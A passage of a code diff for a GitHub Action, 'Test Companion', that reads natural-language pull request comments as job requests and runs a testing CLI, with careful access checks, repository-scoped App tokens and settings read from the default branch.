tests pass" cancel the run. What the comment opens with is what it is + * asking for; the same word later in a sentence is usually about something + * else. + */ +const STOP = /^stop\b/i + +/** + * FR-13: "set up this repo" opens the pull request that adds the starter file. + * Anchored for the same reason — "the test setup is broken, fix it" was + * opening a settings pull request instead of running fix. + */ +const SETUP = /^set\s?-?\s?up\b/i + +/** FR-8: "Any comment MAY ask for a single preview run." A modifier, not a job. */ +const PREVIEW = /\bpreview\b/i + +/** Run the bound jobs again on this commit — which is what a re-check is. */ +const RECHECK = /\bre-?\s?check\b/i + +/** + * Approve a waiting proposal — FR-43. + * + * Tested AFTER the job words, deliberately. "go" is two letters and turns up + * inside ordinary instructions, so a sentence that names a job is read as + * asking for that job; only a reply naming none is an approval. `\bgo\b` does + * not match "going", which is the case that would otherwise bite. + */ +const GO = /\b(go|approved?)\b/i + +/** + * Plain words to job names, most specific first. + * + * The names on the right are the CLI's, not the PRD's — `tc workflow run` only + * accepts what is in registry.go's builtinNames, so "explain" has to become + * `rca` and "find the bad PR" has to become `verdict` here or the run fails + * with "unknown workflow". That translation is the whole point of this table. + */ +const PHRASES = [ + // Before the `fix` rule: "find the bad PR" shares no word with it, but + // keeping the multi-word jobs first means a later single-word rule can never + // steal one of them. + [/\bfind\s+(the\s+)?bad\s+(pr|prs|pull requests?)\b/i, ["verdict"]], + // Each phrase maps to a PREFERENCE LIST: the first one this repository has + // actually bound wins, and the first overall is the fallback. + // + // "test this PR" is why the list exists. It used to map to `test`, which + // runs a project's EXISTING suite and never reads the diff — the very + // behaviour test-pr was built to replace. A repository still bound to the + // older job keeps working; one that has moved gets the job that reads the + // change. (Found by the first live run, rag_assignment PR #20.) + [/\btest\s+(this\s+)?(pr|pull request|change|diff)\b/i, ["test-pr", "test"]], + [/\bexplain\b/i, ["rca"]], + [/\bfix\b/i, ["fix"]], +] + +/** The first candidate this repository has bound, or the first overall. */ +const pickBound = (candidates, workflows) => candidates.find((c) => (workflows ?? []).includes(c)) ?? candidates[0] + +/** Regex-escape a job name before it goes into a pattern. */ +const escapeRe = (v) => String(v).replace(/[.*+?^${}()|[\]\\]/g, "\\$&") + +/** + * A job asked for by its own name — FR-34. + * + * PHRASES covers the wording the PRD lists, which is four of the CLI's + * fourteen jobs. FR-34 asks for "any BOUND workflow in plain words", and + * naming a job IS plain words, so the names the repository has actually bound + * are matched literally as a fallback. + * + * Longest first, so "mobile run" is never read as "run". Word boundaries, so + * "regenerated the lockfile" is not a request to run `generate`. + */ +function namedWorkflow(text, workflows) { + const byLength = [...(workflows ?? [])].filter(Boolean).sort((a, b) => b.length - a.length) + return byLength.find((name) => new RegExp(`\\b${escapeRe(name)}\\b`, "i").test(text)) +} + +/** + * Read a comment's instruction — the body with the @mention already stripped by + * plan-run.mjs — and say what it asked for. + * + * `workflows` is what the repository has bound, so a job can be asked for by + * name. Without it, only the written-out phrases are understood. + */ +export function readIntent(instructions, { workflows = [] } = {}) { + const text = withoutQuotes(String(instructions ?? "")).trim() + if (!text) return { kind: INTENT.UNKNOWN } + + // Before the job words: FR-35 gives stop its own 30-second deadline, and + // "stop, don't fix anything" must not start a fix run. + const asked = text.replace(POLITENESS, "") + if (STOP.test(asked)) return { kind: INTENT.STOP } + if (SETUP.test(asked)) return { kind: INTENT.SETUP } + + const preview = PREVIEW.test(text) + + for (const [pattern, candidates] of PHRASES) { + if (pattern.test(text)) { + return { kind: INTENT.WORKFLOW, workflow: pickBound(candidates, workflows), preview } + } + } + + // A bound job asked for by its own name. + const named = namedWorkflow(text, workflows) + if (named) return { kind: INTENT.WORKFLOW, workflow: named, preview } + + // FR-43: a reply of "go", with or without edits to the case list. + if (GO.test(text)) return { kind: INTENT.GO } + + // No job named, but a clear ask: run whatever the pipeline file binds to this + // event — the same thing an event-driven run does — and carry the preview + // flag if they asked for one. + if (preview || RECHECK.test(text)) { + return { kind: INTENT.WORKFLOW, workflow: null, preview } + } + return { kind: INTENT.UNKNOWN } +} + +/** + * What to offer when we could not place a request — FR-34. + * + * Deliberately only what actually works today. The PRD also names reconcile and + * "automate the backlog", and neither exists as a `tc` job yet; listing them + * would invite a request we would then have to refuse a second time. + * + * Kept next to PHRASES on purpose: a phrase people can type and a phrase we + * advertise should never drift apart. + */ +export const CAPABILITIES = Object.freeze([ + { ask: "test this PR", does: "write and run tests for this change" }, + { ask: "explain this failure", does: "say why a red build failed, test by test" }, + { ask: "fix the failing tests", does: "fix stale tests and open a pull request with them" }, + { ask: "find the bad PR", does: "say which recent change most likely broke a red build" }, + { ask: "set up this repo", does: "open a pull request adding a settings file" }, + { ask: "preview", does: "do the run but write nothing — add it to any request above" }, + { ask: "re-check", does: "run it again on the latest commit" }, + { ask: "stop", does: "cancel the run in flight" }, +]) diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs new file mode 100644 index 0000000..bbb5c93 --- /dev/null +++ b/test-companion/src/main.mjs @@ -0,0 +1,1311 @@ +/** + * The Action's entry point — STM-3663 Release 2. + * + * Deliberately thin. Every decision worth testing lives in plan-run.mjs, + * outcome.mjs and report.mjs, which are pure and run under `node --test` in + * milliseconds. What is left here is I/O: read the event, spawn the CLI, call + * GitHub, write the step's outputs. That split exists because the only other + * way to test this is to push a commit and wait several minutes for a runner. + * + * Zero dependencies — Node's standard library plus `gh`, which is preinstalled + * on every GitHub runner and is already how this product talks to GitHub. + */ +import { readFileSync, appendFileSync, writeFileSync, existsSync, rmSync, readdirSync } from "node:fs" +import { spawnSync } from "node:child_process" +import { join } from "node:path" +import { tmpdir } from "node:os" +import { planRun, contextArgs, withPullRequestHead, TC_EVENTS } from "./plan-run.mjs" +import { readIntent, INTENT } from "./intent.mjs" +import { chooseRunsToCancel, runIdsFromChecks, latestFailedRun } from "./runs.mjs" +import { decideGate, GATE, describeChangeSize } from "./gate.mjs" +import { mayAsk, describeTestRepoAccess } from "./access.mjs" +import { findTicket } from "./ticket.mjs" +import { childEnvFor } from "./child-env.mjs" +import { appCredentials, signJwt, installationTokenRequest } from "./app-auth.mjs" +import { OUTCOMES, parseSummary, resolveOutcome, checkConclusion, stepShouldFail } from "./outcome.mjs" +import { + renderJobSummary, + renderComment, + chooseCommentAction, + checkSha, + renderNotAuthorized, + renderUnknownRequest, + findProposal, + renderProposal, + renderExtraChecks, + accessibilityFailsCheck, + renderApprovedPlan, + proposalDroppedMarkerFor, + proposalNeedsDropping, + flattenPages, + hasApproverEdits, + renderProposalBody, + findSupersededProposal, + checkRequestFor, + inFlightCheckId, +} from "./report.mjs" +import { pipelineConfigPath, renderNoPipelineReport, settingsRef, renderSetupPr, starterPipelineFor } from "./starter.mjs" +import { detectFramework } from "./framework.mjs" +import { buildAnnotations, parseFailedTests } from "./annotations.mjs" +import { + shouldPushWork, + changedPaths, + splitPushable, + renderPushNote, + needsCheckout, + isSameRepo, + pushCredentialArgs, +} from "./push-work.mjs" + +const env = process.env +const REPO = env.GITHUB_REPOSITORY ?? "" +const RUN_URL = `${env.GITHUB_SERVER_URL ?? "https://github.com"}/${REPO}/actions/runs/${env.GITHUB_RUN_ID ?? ""}` +// RUNNER_TEMP, not the system temp dir: GitHub clears RUNNER_TEMP per job, while +// /tmp survives on a self-hosted or reused runner. With fixed names in a shared +// /tmp, `existsSync(RESULT_FILE)` could find an EARLIER job's file and this run +// would report, and upload, test cases it never produced. Falls back to tmpdir() +// so the Action still runs outside a GitHub runner. +const REPORT_DIR = env.RUNNER_TEMP || tmpdir() +const SUMMARY_FILE = join(REPORT_DIR, "test-companion-report.md") +// What the run PRODUCED, as opposed to how it went. Kept separate because the +// two have separate readers: a CI step branches on the summary, a person reads +// the result. For a preview run — which refuses to save by design — this file +// is the only place the generated cases survive (FR-20). +const RESULT_FILE = join(REPORT_DIR, "test-companion-result.md") +// The artifact the result is uploaded under, named here so the report can +// point a reader at it by name. Must match the upload step in action.yml. +const RESULT_ARTIFACT = "test-companion-result" + +const setOutput = (k, v) => env.GITHUB_OUTPUT && appendFileSync(env.GITHUB_OUTPUT, `${k}=${v}\n`) +const addToJobSummary = (md) => env.GITHUB_STEP_SUMMARY && appendFileSync(env.GITHUB_STEP_SUMMARY, md + "\n") +const notice = (m) => console.log(`::notice::${m}`) +const warn = (m) => console.log(`::warning::${m}`) + +/** The raw `gh` call, so a caller that cares WHY it failed can look. */ +function ghRaw(args, body) { + return spawnSync("gh", args, { + encoding: "utf8", + input: body ? JSON.stringify(body) : undefined, + env: { ...env, GH_TOKEN: env.GH_TOKEN }, + }) +} + +/** `gh api`, returning parsed JSON or null. Never throws — reporting must not break a run. */ +function gh(args, body) { + const r = ghRaw(args, body) + if (r.status !== 0) { + // A missing permission is a normal, documented outcome (FR-4): skip that + // write, name it, carry on. It is never a reason to fail the run. + warn(`GitHub API call failed (${args[1] ?? args[0]}): ${(r.stderr ?? "").trim().split("\n")[0]}`) + return null + } + try { + return JSON.parse(r.stdout) + } catch { + return null + } +} + +/** + * Sign in as the Test Companion GitHub App, when it is installed — Release 4. + * + * Buys exactly three things: the comment and the tick come from "Test + * Companion" rather than github-actions[bot], the workflow needs no + * permissions block because the installation token carries the App's own, and + * an admin can roll the setup out across an organisation at once. + * + * It does not run anything (Decision 0). The run still happens on the + * customer's machine with their BrowserStack credentials. + * + * Every failure here falls back to the workflow token rather than stopping. A + * repository without the App installed is the normal case, not an error, and + * FR-4 says the run finishes either way. + */ +function appInstallationToken() { + const creds = appCredentials(env) + if (!creds) return undefined + + let jwt + try { + jwt = signJwt(creds) + } catch (e) { + // A malformed key is worth saying out loud: someone configured this and + // it silently did nothing. + warn(`Could not sign the GitHub App token (${e?.message ?? e}); using the workflow token instead.`) + return undefined + } + + // The JWT authenticates the APP; only the installation token can touch a + // repository. Passed per-call rather than exported, so it never lands in + // the environment at all. + const asApp = (args) => spawnSync("gh", args, { encoding: "utf8", env: { ...env, GH_TOKEN: jwt } }) + + const found = asApp(["api", `repos/${REPO}/installation`]) + if (found.status !== 0) { + notice("Test Companion: the GitHub App is not installed on this repository; using the workflow token.") + return undefined + } + let installationId + try { + installationId = JSON.parse(found.stdout)?.id + } catch { + return undefined + } + if (!installationId) return undefined + + // FR-4: "for that repo only". A token minted with no body carries every + // permission the installation holds across every repository it covers — a + // run in one repository would hold write access to all of an organisation's. + const scope = installationTokenRequest(REPO) + if (!scope) { + warn(`Could not read "${REPO}" as owner/name, so no scoped App token was requested.`) + return undefined + } + + const mint = (body) => + spawnSync("gh", ["api", `app/installations/${installationId}/access_tokens`, "--method", "POST", "--input", "-"], { + encoding: "utf8", + input: JSON.stringify(body), + env: { ...env, GH_TOKEN: jwt }, + }) + + // An installation granted fewer permissions than we ask for refuses the + // whole request, so the second attempt drops the permission list and keeps + // the repository scope — which is the half FR-4 actually requires. Better a + // token scoped to one repository than a fall back to the workflow token. + let minted = mint(scope) + if (minted.status !== 0) { + minted = mint({ repositories: scope.repositories }) + } + if (minted.status !== 0) { + warn("Could not mint a GitHub App token; using the workflow token instead.") + return undefined + } + + let token + try { + token = JSON.parse(minted.stdout)?.token + } catch { + return undefined + } + if (!token) return undefined + + // FR-3: credentials are masked in the log. Before the token is used for + // anything, so there is no window where it could be echoed unmasked. + console.log(`::add-mask::${token}`) + return token +} + +/** + * The settings file as it stands on the DEFAULT BRANCH — FR-7. + * + * Not the checked-out tree. Read from the branch under test, a pull request can + * rewrite the rules for its own run and be obeyed — switch itself from preview + * to live, delete its own spending limit, point its writes elsewhere. Reading + * from the default branch means an edit counts only once someone merges it. + * + * Returns the local path the content was written to, or undefined when there is + * no settings file there. Fails SAFE: a fetch that errors for any reason is + * treated as "no settings", which is a clean skip (FR-13) rather than a run + * governed by whatever happens to be checked out. + * + * `--raw` because this is a YAML file, not the JSON envelope gh() parses. + */ +function fetchSettings(path, ref) { + const r = spawnSync( + "gh", + ["api", `repos/${REPO}/contents/${path}?ref=${encodeURIComponent(ref)}`, "-H", "Accept: application/vnd.github.raw"], + { + encoding: "utf8", + env: { ...env, GH_TOKEN: env.GH_TOKEN }, + }, + ) + if (r.status !== 0) { + const first = (r.stderr ?? "").trim().split("\n")[0] + // A 404 is the ordinary "this repo has no settings file yet" case (FR-13). + // Anything else is worth saying out loud, because the run is about to skip. + if (!/404|Not Found/i.test(first)) warn(`Could not read ${path} from ${ref}: ${first}`) + return undefined + } + const local = join(REPORT_DIR, "testcompanion-pipeline.default-branch.yml") + writeFileSync(local, r.stdout) + return local +} + +/** + * Whether `login` may ask Test Companion for a run — FR-33. + * + * admin, maintain and write can; triage and read cannot. Any failure to get a + * clear answer counts as "no". + */ +function hasWriteAccess(login) { + if (!login) return false + const res = gh(["api", `repos/${REPO}/collaborators/${login}/permission`]) + return ["admin", "maintain", "write"].includes(res?.permission) +} + +/** + * Is `login` on `team` in this repository's organisation? — FR-33. + * + * Tri-state on purpose: undefined means we could not find out (no token for + * the organisation, API down, rate limited), which mayAsk treats as a no. + */ +function isOnTeam(login, team) { + if (!login || !team) return undefined + const org = REPO.split("/")[0] + const res = gh(["api", `orgs/${org}/teams/${team}/memberships/${login}`]) + if (!res) return undefined + return res.state === "active" +} + +/** + * Run git in the checkout. Never throws: every caller here treats a git + * failure as "we could not save the work", which is reported, not fatal. + */ +function git(args) { + const r = spawnSync("git", args, { encoding: "utf8" }) + // `raw` is deliberate. `git status --porcelain` puts a SPACE in the first + // column for an unstaged modification, and trimming the whole output eats + // it on the first line — which cost run 40845669513 ten passing tests. + // Anything parsing columns reads `raw`; everything else wants `out`. + return { ok: r.status === 0, out: (r.stdout ?? "").trim(), raw: r.stdout ?? "", err: (r.stderr ?? "").trim() } +} + +/** + * The repository's default branch, or undefined when we cannot find out. + * Undefined only relaxes the default-branch refusal, so an unanswered call + * never widens anything else. + */ +function defaultBranchName() { + return gh(["api", `repos/${REPO}`])?.default_branch +} + +let cachedEvent +function readEvent() { + // Parsed once. This is called seven times in a run, and the file cannot + // change underneath us — GitHub writes it before the job starts. + if (cachedEvent !== undefined) return cachedEvent + cachedEvent = readEventUncached() + return cachedEvent +} + +function readEventUncached() { + try { + return JSON.parse(readFileSync(env.GITHUB_EVENT_PATH, "utf8")) + } catch { + return {} + } +} + +/** Nothing to do. Report it plainly and let the step pass — FR-3, FR-13. */ +function finishSkipped(reason, detail) { + const human = { + "not-a-pull-request": "That comment was on an issue, not a pull request.", + "not-addressed-to-us": "No @test-companion mention, so nothing was asked of Test Companion.", + "proposal-superseded": "The plan being approved was for an earlier commit, so it was not run.", + "nothing-failed": "Nothing has failed on this commit, so there was no build to look at.", + "comment-edited": "Editing a comment does not start a run.", + fork: "A pull request from a fork does not run with credentials until a maintainer asks for it.", + draft: "Draft pull requests do not start a run on their own. Comment to ask for one.", + "closed-unmerged": "The pull request was closed without merging.", + "build-not-red": "That run did not fail, so there is nothing to explain.", + "own-run": "That was Test Companion's own run; it does not explain itself.", + "unsupported-event": "Test Companion is not bound to this kind of event.", + "unsafe-context": "A value from this event looked like a command-line flag and was refused.", + "no-workflow-named": "A manual run needs a `workflow` input naming the job.", + "no-credentials": "Skipped: BrowserStack credentials are not available to this run.", + "no-binding": "Nothing in testcompanion-pipeline.yml is bound to this event, so there was nothing to run.", + // FR-4: name the permission and the line to add. The commonest cause by + // far is a workflow without `pull-requests: read` — the lookup 403s, the + // head commit is unknown, and the run fails closed. Said plainly here + // because "nothing safe to run against" sends a reader looking at their + // pull request rather than at their permissions block. + "no-pr-head": + "Could not read that pull request, so there is no commit it is safe to run against. " + + "If this workflow has no `pull-requests: read` permission, add it.", + "not-authorized": "Only someone with write access to this repository can ask Test Companion for a run.", + "unmapped-request": "That comment did not name anything Test Companion can do; it was answered in the thread.", + stopped: "Stopped, as asked.", + "not-bound": "That job is not bound to pull request comments in this repository.", + "nothing-to-approve": "Nothing is waiting for approval on this commit.", + "proposal-expired": "That proposal was more than a day old and has been dropped.", + proposed: "Proposed, and waiting for someone to reply go.", + "setup-requested": "Opened a pull request adding the settings file.", + }[reason] + const msg = human ?? `Nothing to do (${reason}).` + notice(`Test Companion: ${msg}`) + addToJobSummary(`## Test Companion\n\n${msg}${detail ? `\n\n\`${detail}\`` : ""}`) + setOutput("outcome", "Skipped") + setOutput("should-fail", "false") + process.exit(0) +} + +/** + * FR-13: no settings file means a clean pass and the file they need. + * + * Checked before anything else that could cost money or time. Left to the CLI + * this is a red build reading `open testcompanion-pipeline.yml: no such file or + * directory` — the person did nothing wrong, and the message names a file they + * have never heard of. + */ +function finishWithStarter(path) { + notice(`Test Companion: no ${path} yet, so there is nothing to run. A starter is on the run summary.`) + addToJobSummary(renderNoPipelineReport(path)) + setOutput("outcome", "Skipped") + setOutput("should-fail", "false") + process.exit(0) +} + +function main() { + // Release 4: act as the App when it is installed, so the comment and the + // tick carry Test Companion's name. Before anything else talks to GitHub. + const appToken = appInstallationToken() + if (appToken) { + env.GH_TOKEN = appToken + notice("Test Companion: acting as the GitHub App.") + } + + // FR-3: a run without credentials does nothing, says so, and passes. This is + // the normal shape of a fork pull request, not an error. + if (!env.BROWSERSTACK_USERNAME || !env.BROWSERSTACK_ACCESS_KEY) { + finishSkipped("no-credentials") + } + + // Before the plan, so a repository with no pipeline file gets the starter + // rather than whatever the planner happens to say about this event. + const configPath = pipelineConfigPath(env.TC_ACTION_CONFIG, env) + // FR-7: from the default branch, never from the branch under test. + // May be undefined — a repository with no settings file is a normal, and + // very common, first run (FR-13). It is NOT an early exit any more: a + // comment asking us to add that file is the one thing worth doing in a + // repository that has none, and the exit used to sit in front of it. + // Nothing below costs money before the settings check further down. + const settingsFile = fetchSettings(configPath, settingsRef(readEvent(), env)) + + // FR-44: before anything else this run does, clear out proposals that ran + // out of time, so none of them leaves a check stuck on "in progress". + if (settingsFile && env.GITHUB_EVENT_NAME === "schedule") sweepExpiredProposals() + + let plan = planRun({ + eventName: env.GITHUB_EVENT_NAME, + payload: readEvent(), + repo: REPO, + sha: env.GITHUB_SHA, + ref: env.GITHUB_REF, + inputs: { + workflow: env.TC_ACTION_WORKFLOW, + preview: env.TC_ACTION_PREVIEW, + "self-workflow-name": env.TC_ACTION_SELF_WORKFLOW, + }, + }) + if (plan.skip) { + // FR-36: closing a pull request without merging stops whatever it started. + if (plan.skip.reason === "closed-unmerged") cancelForClosedPr(readEvent()) + finishSkipped(plan.skip.reason, plan.skip.detail) + } + + // FR-33: only someone who can write to the repository may ask for a run by + // commenting. On a public repository anyone can comment, and a run executes + // an agent with --yolo against the customer's own machine and credentials, + // so this gate is the whole access-control story for the comment trigger. + // + // Fails CLOSED: if the permission lookup itself fails — no token, API down, + // rate limited — the run does not start. An unanswerable "may they?" is a no. + // Keyed on the TRIGGER, not only on a flag the planner sets. A planner change + // that forgets the flag would otherwise delete this gate silently, and the + // failure would be invisible: runs would simply start working for people who + // should not be able to start them. + // A comment names an issue, not a commit. Look the pull request up so the + // run works on ITS head rather than the default branch, and so the check + // lands on that commit. Fails closed on a fork, like every other untrusted + // trigger (review finding, PR #3030). + let pull + if (!plan.context?.sha && plan.context?.pr) { + pull = gh(["api", `repos/${REPO}/pulls/${plan.context.pr}`]) + plan = withPullRequestHead(plan, pull, REPO) + if (plan.skip) finishSkipped(plan.skip, `PR #${plan.context.pr}`) + // Work on the commit that was asked about. The starter checks out the + // default branch for a comment event, since the payload names no ref. + const co = spawnSync("git", ["fetch", "--depth", "1", "origin", plan.context.sha], { stdio: "inherit" }) + if (co.status === 0) { + spawnSync("git", ["checkout", "--detach", "FETCH_HEAD"], { stdio: "inherit" }) + } else { + warn(`Could not fetch ${plan.context.sha}; running against the checked-out tree.`) + } + } + + // FR-37: the ticket this change is for, so the run tests against what the + // ticket asks for and not only what the diff does. The pull request object + // is already in hand for a comment event; for a pull_request event it is on + // the payload. + const prForTicket = pull ?? readEvent().pull_request + const ticket = findTicket({ + title: prForTicket?.title, + branch: plan.context?.branch ?? prForTicket?.head?.ref, + body: prForTicket?.body, + }) + if (ticket && plan.context) plan.context.ticket = ticket + + // Read once, before the access check: FR-33's team narrowing lives in the + // same document as FR-43's approval gate. + const bindingsDoc = settingsFile && plan.event ? readBindings(settingsFile, plan.event, plan.context?.branch) : undefined + const askTeam = bindingsDoc?.settings?.ask_team + + // Only issue_comment. `pull_request_review_comment` was listed here too, + // but route() has no case for it, so such an event skips as + // "unsupported-event" long before this line — and the starter does not + // subscribe to it either. + // Jobs that understand --propose-only and --plan-file. For anything else + // the proposal IS the preview run's report. + const CARRIES_A_PLAN = new Set(["test-pr"]) + // Jobs that cannot run without knowing which build failed. + const NEEDS_A_BUILD = new Set(["rca", "fix", "verdict"]) + const COMMENT_TRIGGERS = new Set(["issue_comment"]) + if (COMMENT_TRIGGERS.has(env.GITHUB_EVENT_NAME) || plan.requiresWriteAccess) { + const who = plan.commenter ?? readEvent().comment?.user?.login + // FR-33: write access is the floor, and the pipeline file may narrow it + // to a team. It may never widen it — see mayAsk. + const allowed = mayAsk({ + hasWriteAccess: hasWriteAccess(who), + askTeam, + inTeam: askTeam ? isOnTeam(who, askTeam) : undefined, + }) + if (!allowed) { + // FR-33 wants a one-line reply, not a line in a log the person who + // asked will never open. + replyOnPr(plan.context?.pr, renderNotAuthorized(who ?? "there", askTeam)) + finishSkipped("not-authorized", who) + } + } + + // FR-34: work out what the comment actually asked for, here, before the CLI + // is spawned — a request we cannot place has to cost nothing. + let proposing = false + let approvalNote = "" + if (plan.event === TC_EVENTS.PR_COMMENT) { + // FR-34: pass what this repository has actually bound, so a job can be + // asked for by name and not only by the phrases written into PHRASES. + const intent = readIntent(plan.context.instructions, { + workflows: (bindingsDoc?.bindings ?? []).filter((b) => b.enabled).map((b) => b.workflow), + }) + + if (intent.kind === INTENT.UNKNOWN) { + replyOnPr(plan.context.pr, renderUnknownRequest()) + finishSkipped("unmapped-request") + } + // Answered before anything starts. Falling through would be the worst + // possible reading of "stop": the person asks for the run to end and a + // new one begins. + if (intent.kind === INTENT.STOP) { + stopRuns(plan, plan.commenter ?? "you") + finishSkipped("stopped") + } + if (intent.kind === INTENT.SETUP) { + openSetupPr(plan, configPath) + finishSkipped("setup-requested") + } + + // A named job narrows what the binding would otherwise choose. The event + // is kept, so the binding still governs result mode and limits — asking + // by comment must not be a way around the repository's own settings. + if (intent.workflow) plan.workflow = intent.workflow + + // `rca`, `fix` and `verdict` need to know WHICH build failed. A + // build_failed trigger is handed the run; a COMMENT is not, so these + // three used to fail on the first comment with "Could not run" — while + // we advertise all three by name. + // + // The newest red run on this commit is what a person means by "the + // failure". Only looked up when the job needs it and the caller has + // not already said. + if (NEEDS_A_BUILD.has(plan.workflow) && !plan.context.build) { + const runs = gh(["api", `repos/${REPO}/actions/runs?head_sha=${plan.context.sha}&per_page=100`]) + const failed = latestFailedRun(runs?.workflow_runs, { + selfRunId: env.GITHUB_RUN_ID, + selfWorkflowName: env.TC_ACTION_SELF_WORKFLOW, + }) + if (!failed) { + // Nothing red is an answer, not an error. + replyOnPr( + plan.context.pr, + `Nothing has failed on \`${String(plan.context.sha).slice(0, 7)}\`, so there is no build for me to look at. Re-run me once something is red, or say what you want tested instead.`, + ) + finishSkipped("nothing-failed", plan.workflow) + } + plan.context.build = failed + notice(`Test Companion: reading the failure from ${failed}`) + } + + const bindings = bindingsDoc + const binding = pickBinding(bindings, intent.workflow) + + // FR-34 asks for any BOUND workflow. Saying so now beats a preview run, + // a proposal, a "go", and only then "no binding for pr_comment". + if (intent.workflow && bindings && !binding) { + replyOnPr( + plan.context.pr, + `\`${intent.workflow}\` is not bound to pull request comments in this repository, so nothing ran. Bind it in \`${configPath}\` under \`on: pr_comment\`.`, + ) + finishSkipped("not-bound", intent.workflow) + } + + const comments = flattenPages(gh(["api", `repos/${REPO}/issues/${plan.context.pr}/comments`, "--paginate", "--slurp"])) + const waiting = findProposal(comments, plan.context.sha) + + // An unaddressed comment only ever reaches us as a possible approval. + // With nothing waiting, it is what it looked like: a person talking to + // each other, not to us. + // + // Unless a plan we put up has been left behind by a newer commit. Then + // they were talking to us, they used a word we accept, and telling them + // "no @test-companion mention" is both wrong and unhelpful — the reason + // is sitting in the comment history (FR-44). + if (plan.approvalOnly && !waiting) { + const stale = findSupersededProposal(comments, plan.context.sha) + if (stale) { + replyOnPr( + plan.context.pr, + `That plan was for \`${String(stale.sha).slice(0, 7)}\`, and this branch has moved on since — ` + + `a plan written against code that has changed is not safe to run. ` + + `Ask me again and I will put up a fresh one for \`${String(plan.context.sha).slice(0, 7)}\`.`, + ) + finishSkipped("proposal-superseded") + } + finishSkipped("not-addressed-to-us") + } + const gate = decideGate({ + intent, + approval: binding?.approval, + proposal: waiting, + actor: plan.commenter ?? plan.context.actor, + }) + + if (gate.action === GATE.NOTHING_TO_APPROVE) { + replyOnPr( + plan.context.pr, + "There is nothing waiting for approval on this commit. Ask for a job by name and I will propose one.", + ) + finishSkipped("nothing-to-approve") + } + if (gate.action === GATE.EXPIRED) { + // FR-44: dropped after 24 hours. Enforced on the approving side, so a + // stale proposal cannot be approved however long it sits there. + replyOnPr( + plan.context.pr, + "That proposal is more than a day old, so I have dropped it. Ask again and I will put up a fresh one.", + ) + finishSkipped("proposal-expired") + } + + if (gate.approvedProposal) { + // Pin the run to the job that was actually proposed and read. The + // GO intent names no workflow, so without this the CLI resolved one + // from the event alone — whichever binding came first in the file — + // and a `fix` proposal could run something else, live, with --yolo. + if (waiting?.workflow) plan.workflow = waiting.workflow + + // FR-43: the run carries out the approved plan — the proposal as the + // approver left it, edits and all. Written to a file rather than + // squeezed onto a command line: a case list is prose, and --context + // strips the punctuation it is written with. + const replyText = plan.context.instructions + const planFile = join(REPORT_DIR, "approved-plan.md") + writeFileSync(planFile, renderApprovedPlan(waiting?.body, replyText)) + if (CARRIES_A_PLAN.has(plan.workflow)) plan.context.plan_file = planFile + + // And the approving comment's own text stops here. The edits are in + // the plan file now; passing the raw reply as well would put free + // text back on the path to the agent, which is what made the approval + // meaningless in the first place. + delete plan.context.instructions + + // Reported, not refused. Both asking and approving need write access, + // so one person doing both is not an escalation — but edits made at + // approval time were reviewed by nobody but the approver, and on a + // self-approved run by nobody at all. A reviewer should see that. + if (gate.selfApproved) { + approvalNote = hasApproverEdits(replyText) + ? ` Approved by @${plan.commenter}, who also asked for it — and edited the plan while approving, so nobody else reviewed those changes.` + : ` Approved by @${plan.commenter}, who also asked for it.` + notice(`Test Companion:${approvalNote}`) + } + } else { + // FR-44: too big to cover in one go — say so to the run, which then + // covers what matters and lists what it left out. + const size = describeChangeSize(pull) + if (size.large) { + plan.context.focus = `${size.files} files and ${size.lines} changed lines` + } + } + + proposing = gate.action === GATE.PROPOSE + // FR-43: a planning pass has to KNOW it is one. Without this it attempts + // the work, is refused by preview, and reports "Could not run" after + // spending real credits — observed on the first live run. + // Only `test-pr` has --propose-only and --plan-file; sending either to + // any other job is an unknown-flag exit before the run starts. + // + // The gate still works for them, because a proposal run is a PREVIEW + // run and preview is enforced in tool dispatch: it does the work, + // writes nothing, and its report is what the reviewer approves. + if (proposing && CARRIES_A_PLAN.has(plan.workflow)) plan.context.propose_only = "true" + if (gate.preview || intent.preview) plan.preview = true + } + + // FR-13: no settings file means a clean pass and the file they need. Checked + // before anything that costs money or time — the comment handling above + // spends only API calls, and "set up this repo" has to be reachable from here. + if (!settingsFile) { + finishWithStarter(configPath) + } + + // An event-driven run names no job: the pipeline file decides, via --event. + // A manual run names one and carries no event, which is how the CLI is told + // to ignore the bindings entirely. + // A manual run names its job. An event-driven run does NOT: which job an + // event runs is the pipeline file's decision, so the Action passes only + // --event and lets the CLI resolve the binding. Guessing a name here was the + // first live run's failure — it produced `no binding for "pr_opened" + // (workflow "test")` because the repo had bound `generate`, not `test`. + const args = ["workflow", "run"] + if (plan.workflow) args.push(plan.workflow) + if (plan.event) args.push("--event", plan.event) + // One flag per pair. A single joined value is parsed by pflag with + // encoding/csv, where one double quote anywhere — `Fix "Pay now" button` — + // fails the whole flag and the run reports "Could not run". + args.push(...contextArgs(plan.context)) + if (plan.preview) args.push("--preview") + // The fetched copy, not whatever the checkout holds — FR-7. + args.push("--config", settingsFile) + args.push("--json", "--yolo", "--summary-file", SUMMARY_FILE, "--result-file", RESULT_FILE) + + // The run must happen on the commit it is about. On an `issue_comment` + // event GitHub checks out the DEFAULT branch — a live run on 2026-10-27 + // wrote eight tests for a pull request branch into a checkout of the + // default one. The starter workflow cannot be amended once customers have + // merged it, so the Action puts itself on the right commit. + // + // Read-only with respect to the remote, and advisory: a checkout we cannot + // do is reported and the run continues against whatever is here, because a + // proposal built from the diff is still worth having. + // Every arm fails CLOSED, and each is read from the world rather than + // asserted. An earlier draft hard-coded sameRepo on the reasoning that + // plan-run.mjs already skips forks — true today, and exactly the shape + // that goes quietly wrong when the code around it moves. The same + // fail-open bug had already appeared once in this Action, on + // `pull_request_target` with a deleted fork. + // Put the tree on the commit under review, when nothing else already has. + // + // Where a comment names an issue, the block above already fetched the head + // sha and detached onto it. A pull_request event is different: GitHub + // checks out the MERGE commit, and nothing corrects that — so without this + // a synchronize-triggered run reads, and would push, merged content rather + // than the branch. + // + // No --depth. On a repository cloned with fetch-depth 0 a shallow fetch + // makes a COMPLETE clone shallow, taking history away from the agent and + // from tc's dedupe claim. + // + // Advisory: a checkout we cannot do is reported and the run continues + // against whatever is here, because a proposal built from the diff is + // still worth having. shouldPushWork re-checks before anything is pushed. + if ( + plan.context.branch && + plan.context.sha && + needsCheckout({ headSha: git(["rev-parse", "HEAD"]).out, wantSha: plan.context.sha }) + ) { + const fetched = git(["fetch", "origin", plan.context.sha]) + const moved = fetched.ok && git(["checkout", "-B", plan.context.branch, plan.context.sha]).ok + if (moved) notice(`Working on ${plan.context.branch} at ${String(plan.context.sha).slice(0, 7)}.`) + else warn(`Could not check out ${plan.context.branch}; the run sees whatever this job checked out.`) + } + + const 